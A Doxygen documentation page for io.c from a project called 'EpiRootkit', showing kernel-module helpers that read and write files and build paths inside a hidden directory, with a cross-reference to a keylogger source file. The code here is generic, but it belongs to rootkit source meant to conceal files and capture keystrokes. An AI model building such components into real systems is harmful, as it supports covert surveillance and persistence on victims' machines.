EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
io.c
Go to the documentation of this file.
1#include "io.h"
2
3#include "config.h"
4
12int _read_file(const char *path, char **out_buf) {
13 size_t tot = 0;
14 size_t buf_size = STD_BUFFER_SIZE;
15 struct file *f;
16 loff_t pos = 0;
17 char *buf;
18 int ret;
19
20 buf = kzalloc(buf_size, GFP_KERNEL);
21 if (!buf)
22 return -ENOMEM;
23
24 f = filp_open(path, O_RDONLY, 0);
25 if (IS_ERR(f)) {
26 ret = PTR_ERR(f);
27 kfree(buf);
28 return ret;
29 }
30
31 // Pas bo
32 while ((ret = kernel_read(f, buf + tot, buf_size - tot - 1, &pos)) > 0) {
33 tot += ret;
34
35 if (tot >= buf_size - 1) {
36 size_t new_size = buf_size * 2;
37 char *resized = krealloc(buf, new_size, GFP_KERNEL);
38 if (!resized) {
39 kfree(buf);
40 filp_close(f, NULL);
41 return -ENOMEM;
42 }
43
44 buf = resized;
45 buf_size = new_size;
46 }
47 }
48
49 filp_close(f, NULL);
50 if (ret < 0) {
51 kfree(buf);
52 return ret;
53 }
54
55 buf[tot] = '\0';
56 *out_buf = buf;
57 return tot;
58}
59
67int _write_file(const char *path, const char *buf, size_t len) {
68 struct file *f;
69 loff_t pos = 0;
70 int ret;
71
72 f = filp_open(path, O_WRONLY | O_CREAT | O_TRUNC, 0600);
73 if (IS_ERR(f))
74 return PTR_ERR(f);
75
76 ret = kernel_write(f, buf, len, &pos);
77 filp_close(f, NULL);
78 return ret;
79}
80
87void build_cfg_path(const char *fname, char *out, size_t sz) {
88 snprintf(out, sz, "%s/%s", HIDDEN_DIR_PATH, fname);
89}
#define HIDDEN_DIR_PATH
Definition config.h:56
#define STD_BUFFER_SIZE
Definition config.h:68
static struct dentry * file
Definition epikeylog.c:145
void build_cfg_path(const char *fname, char *out, size_t sz)
Definition io.c:87
int _write_file(const char *path, const char *buf, size_t len)
Definition io.c:67
int _read_file(const char *path, char **out_buf)
Definition io.c:12